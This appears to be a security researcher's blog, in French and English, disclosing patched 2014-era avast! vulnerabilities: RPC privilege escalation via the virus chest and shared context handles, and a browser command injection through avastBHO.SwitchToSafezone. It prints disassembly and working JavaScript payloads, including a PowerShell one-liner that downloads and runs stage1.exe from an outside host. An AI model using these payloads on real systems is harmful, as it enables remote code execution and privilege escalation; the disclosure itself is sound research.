Thursday, July 30, 2015

avast! Cache a Virus RPC EoP (et RCE potentiel dans certaines versions)

Un autre probleme corrige dans avast! il y a un peu plus d'un an. Et encore une fois, une vulnerabilite qui ne necessite pas de corruption memoire. Comme le dit le dicton, les corruptions memoire, c'est pour plus tard.

Resume

Type de vulnerabilite: probleme de logique
Vecteur: appel LPC (ou RPC) a c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0
Impact: EoP a SYSTEM, ou RCE potentiel dans les versions entreprises d'avast!
Verifie sur: avast! Free ashServ.dll v9.quelquechose

Description

La cache a virus d'avast! est controlee par une interface RPC implementee dans ashServ.dll, cette interface etant c6c94c23-538f-4ac5-b34a-00e76ae7c67a v1.0. Par default, cette interface n'ecoute que sur un point de terminaison local (ncalrpc), mais dans certaines configurations du logiciel - notamment les versions entreprises - elle peut aussi ecouter sur un port TCP (ncacn_ip_tcp). Aucune de ces deux interfaces ne requerait d'authentification, mais certaines fonctions necessitaient un mot de passe sous forme de chaine de characteres dans les donnees RPC (verifie via MD5). Sur une connexion locale (ou si l'option de configuration de la cache "CheckPassword" est desactivee), le mot de passe n'etait pas verifie.

.text:6512BC91                 call    ds:RpcStringBindingParseW
.text:6512BC97                 test    eax, eax
.text:6512BC99                 jnz     loc_6512BD24
.text:6512BC9F                 push    offset aNcalrpc ; "ncalrpc"
.text:6512BCA4                 push    [ebp+Protseq]   ; wchar_t *
.text:6512BCA7                 call    ds:_wcsicmp
.text:6512BCAD                 add     esp, 8
.text:6512BCB0                 test    eax, eax
.text:6512BCB2                 jz      short AUTH_SUCCESS
.text:6512BCB4                 push    1
.text:6512BCB6                 push    offset aCheckpassword ; "CheckPassword"
.text:6512BCBB                 push    offset aChest   ; "Chest"
.text:6512BCC0                 call    ds:aswGetAvastPropertyInt
.text:6512BCC6                 add     esp, 0Ch
.text:6512BCC9                 test    eax, eax
.text:6512BCCB                 jz      short AUTH_SUCCESS

Le problem reside dans la fonction RestoreFile offerte par l'interface RPC. Une fois appelee pour un identifiant de fichier donne, la fonction de restauration va utiliser les proprietes OrigFolder et OrigFileName associees a ce fichier et restaurer aveuglement le fichier a l'emplacement specifie en tant que SYSTEM, et ce quelque soit le niveau de privilege de l'appelant.

.text:6512BA84                 push    104h
.text:6512BA89                 lea     eax, [ebp+var_834]
.text:6512BA8F                 push    eax
.text:6512BA90                 push    offset aOrigfolder ; "OrigFolder"
.text:6512BA95                 mov     ecx, esi
.text:6512BA97                 call    edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)
.text:6512BA99                 push    offset word_65136530
.text:6512BA9E                 push    104h
.text:6512BAA3                 lea     eax, [ebp+var_424]
.text:6512BAA9                 push    eax
.text:6512BAAA                 push    offset aOrigfilename ; "OrigFileName"
.text:6512BAAF                 mov     ecx, esi
.text:6512BAB1                 call    edi ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *) ; IaswObject::GetValue(wchar_t const *,wchar_t *,ulong,wchar_t const *)
.text:6512BAB3                 lea     eax, [ebp+var_424]
.text:6512BAB9                 push    eax
.text:6512BABA                 lea     eax, [ebp+var_834]
.text:6512BAC0                 push    eax
.text:6512BAC1                 push    offset aSS_0    ; "%s\\%s"
.text:6512BAC6                 lea     eax, [ebp+var_21C]
.text:6512BACC                 push    104h            ; size_t
.text:6512BAD1                 push    eax             ; wchar_t *
.text:6512BAD2                 call    ds:_snwprintf

Pour elever ses privileges, un utilisateur local (ou distant) peut appeler la fonction RPC de la cache AddFile en specifiant les proprietes OrigFolder et OrigFileName comme etant celles d'un fichier qu'il veut ecraser (ou creer), et puis appeler la fonction RestoreFile. De cette facon, il peut ecraser tout binaire SYSTEM, ou creer un fichier MOF a-la-Stuxnet pour execute du code en tant que SYSTEM.

Pour avast! Free, c'est seulement un EoP, mais pour avast! Endpoint Protection, si le RPC de la cache est configure pour ecouter sur un port TCP (16108 par default), cela pourrait se transformer en RCE, le probleme etant que la fonction RestoreFile verifiait le mot de passe.

Notez que la fonction AddFile permet de specifier le contenu du fichier, modulo un "chiffrement" de type XOR avec une cle enorme. Le code suivant utilise impacket pour effecture la requete RPC (j'ai du enlever la cle parceque sinon pastebin part en vrille):



Tuesday, July 28, 2015

avast! Partage d'interface RPC EoP

Depuis tout petit, j'ai toujours voulu tirer avantage du partage des poignees de contextes RPC dans un processus Windows. En effet, par defaut les context_handle sont partages pour toutes les interfaces RPC au sein d'un meme processus: un client peut creer un contexte sur une interface, et passer ce meme contexte a une autre interface (sauf attribut specifique dans la definition de l'interface: Strict and Type Strict Context Handles). Cependant, je n'ai jamais eu l'occasion d'exploiter une vulnerabilite se fondant sur ce predicat, car generalement quelque chose va de travers au moment de l'utilisation de la structure associee au contexte.

Mais grace a avast!, j'ai finalement pu realiser ce reve d'enfance (ou du moins d'il y a une dizaine d'annees). Comme pour l'entree precedente, la vulnerabilite a ete corrigee il y a un an.

Enfin, desole pour les traductions approximatives (handle=poignee?), j'ai arrete de lire les bulletins du CERT-A il y a longtemps! (et je ne me relis pas edit: @n_joly et @0xeb m'envoient les erreurs, et je corrige :()

Resume

Type de vulnerabilite: partage de contexte RPC
Vecteur: appel LPC a eb915940-6276-11d2-b8e7-006097c59f07 v4.0
Impact: EoP a SYSTEM, contournement de la self-defense
Verifie sur: avast! Free aavm4h.dll v9.0.2018.391

Description

aavm4h.dll implemente quelques interfaces RPC qui sont hebergees dans le processus AvastSvc.exe. La plus interessante est eb915940-6276-11d2-b8e7-006097c59f07 v4.0, qui offre des fonctions qui effectuent des taches sensibles. Cependant ces fonctions requierent un context_handle afin de s'executer correctement. Ce context_handle peut etre demande par un client via la fonction RPC 0 de l'interface, si le client est "sur" (via un appel a secIsProcessTrusted qui met en jeu un mechanisme implemente par des drivers d'avast! et des signatures d'executables specifiques). Par defaut, si la self-defense est active, un processus n'est pas considere sur, et aucune des fonctions ne peut etre atteinte.

C'est ici qu'intervient le partage de poignees de contextes RPC. Par defaut sous Windows, toutes les interfaces RPC dans un meme processus partagent les points de terminaison, mais aussi les poignees de contexte. Pour eviter ce partage, un attribut strict_context_handle doit etre utilise, comme explique plus haut.

Cela se revele interessant puisque AvastSvc.exe heberge d'autres interfaces qui donnent des context_handle a des utilisateurs non privilegies. Par exemple dbe95f8e-2be7-4b70-96f3-369be27fa432 v1.0, offert par aswPatchMgmt.dll ne requiert ni privilege specifique, ni processus "sur" pour accorder une poignee de contexte.

Pour exploiter cette vulnerabilite, on va appeler la fonction 6 de dbe95f8e-2be7-4b70-96f3-369be27fa432, qui nous donne un context_handle, et utiliser ce context_handle pour appeler une fonction de eb915940-6276-11d2-b8e7-006097c59f07. Quelle fonction choisir? Parmi les fonctions interessantes: AavmDisableSelfDefense, ou la fonction 0x4a qui appelle CreateProcess. Mais cette fonction ne nous permet pas de fournir la ligne de commande complete de l'executable a creer. Elle offre seulement un choix de 5 executables d'avast!. La bonne nouvelle c'est que AvastEmUpdate.exe (choix numero 2) accepte un argument /applydll qui nous permet de specifier le chemin complet d'une bibliotheque qui sera chargee dans le processus, lui meme execute en tant que SYSTEM.

Ce qui nous donne les memes privileges:


Au passage je ne saurai trop recommender RpcView pour fouiller dans ce bazarre d'interfaces RPC & LPC. Malheureusement mIDA de Nicolas Pouvesle est toujours indispensable pour jouer avec les squelettes RPC en ligne (inline stub), et c'est pas faute de m'etre plaint :).

Au final, je vais vous epargner les copier-coller des interfaces IDL et me contenter du fichier C principal:



The avast! Series

I spent some time quite a while ago looking into avast! and, after about a year, I am going to post about the issues that were found, and fixed back then. The whole project was pretty fun, avast! offers a lot of functionalities and as such a ton of components to look into. Identifying the security boundaries and attack surface required a decent understanding of the product: services, opened ports, LPC or RPC interfaces, kernel drivers and their IO controls or filters, browser components, various parsers, "self-defense", etc.

A decent number of issues were found, and Igor and the avast! bug bounty team fixed them promptly, and extensively - I think they did a great job at not concentrating on the specific issues submitted but thinking about the bigger picture, variants and remediation.

I will start with one of the juicier ones, as it allowed RCE from a browser.

avast! Client-Side Remote Code Execution

Summary

Bug type: command injection
Vector: Javascript from browser
Impact: remote code execution within the SafeZone
Verified on: avast! Free AvastUI.exe v9.0.2018.397

Description

avast! offers a SafeZone functionality that creates a separate desktop, and runs processes in a sandboxed environment on this desktop. This SafeZone component comes with a SafeZone Browser that basically is Google Chrome. The SafeZone component is not available in the Free version of avast!, as the browser is not installed, and the UI interface doesn't allow to switch to the SafeZone. Yet, the core functionalities of the SafeZone are present and the SafeZone can be launched, through LPC, the local HTTP Daemon, or browser addons.

There are two issues that can be leveraged to achieve code execution, both of them resulting from an injection in the command line of the SafeZone browser. In order to demonstrate the issue, we will use the avastBHO.SwitchToSafezone API in Javascript for the IE BHO. This is accessible when the extension is enabled (default), and for all websites except a few local exceptions.

Let's start with the Free version of avast!. In this version, the SafeZone browser is not installed, so when trying to switch to the SafeZone, Windows will attempt to parse the command line to find the binary. Here is the output of ProcessMonitor illustrating this:



As you can see, this becomes an issue because each component of the command line will end up being considered a directory at some point. It is trivial to go up in the tree using the usual ..\ sequence:

avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe')



This will execute directly a cmd.exe in the SafeZone in avast! Free. Now, in order to download and execute something extra, we just need to couple that with a bit of PowerShell (for Windows 7+):

avastBHO.SwitchToSafezone('\\..\\..\\..\\..\\..\\..\\Windows\\system32\\cmd.exe /c "cd %TEMP%&PowerShell (New-Object System.Net.WebClient).DownloadFile(\'http://192.168.233.1:8001/stage1.exe\',\'stage1.exe\');(New-Object -com Shell.Application).ShellExecute(\'stage1.exe\');"')

This will download and execute stage1.exe, still in the SafeZone. At this point, we can execute whatever we want, but are still restrained to the sandboxed environment of the SafeZone (file system, registry and privileges).

The avastBHO object can become unreachable after some attempts, and IE has to be relaunched.

Escaping the SafeZone

For the sake of completeness, I wrote up a quick SafeZone escape through Windows messages. Doing a CreateProcess from stage1.exe or equivalent still has us stuck in the SafeZone file system. Since we can switch desktop easily, the provided escape just switches back to the Default desktop, pops-up the Windows Run dialog by sending a WM_HOTKEY message, sets the content of the edit box to the command to execute, and presses OK. It can be a bit racey at times, and could use some Q&A, but it's working often enough.


What about Chrome/Firefox/etc?

Extensions for Chrome and Firefox appear to offer the same SwitchToSafezone functionality but I am actually not sure on how to script them or if they are even accessible. Those extensions merely wrap HTTP requests to the local HttpDaemon running in AvastSvc.exe on port 27275, which uses Google's libprotobuf-lite. A switch to SafeZone can be triggered by issuing command 7 to that server, and this vector is also vulnerable to the command injection.

What about non-free versions of avast!?

Now for avast! Premier and other versions including the browser, we cannot use the ..\ trick as it will not succeed since the binary exists, but we can inject an argument to Chrome. The argument that matters is the --load-extension one, which will attempt to load an extension, and accepts UNC paths, for example you can try:

avastBHO.SwitchToSafezone('--load-extension=\\\\127.0.0.1\\malicious')

I haven't pushed the research to writing an actual malicious extension.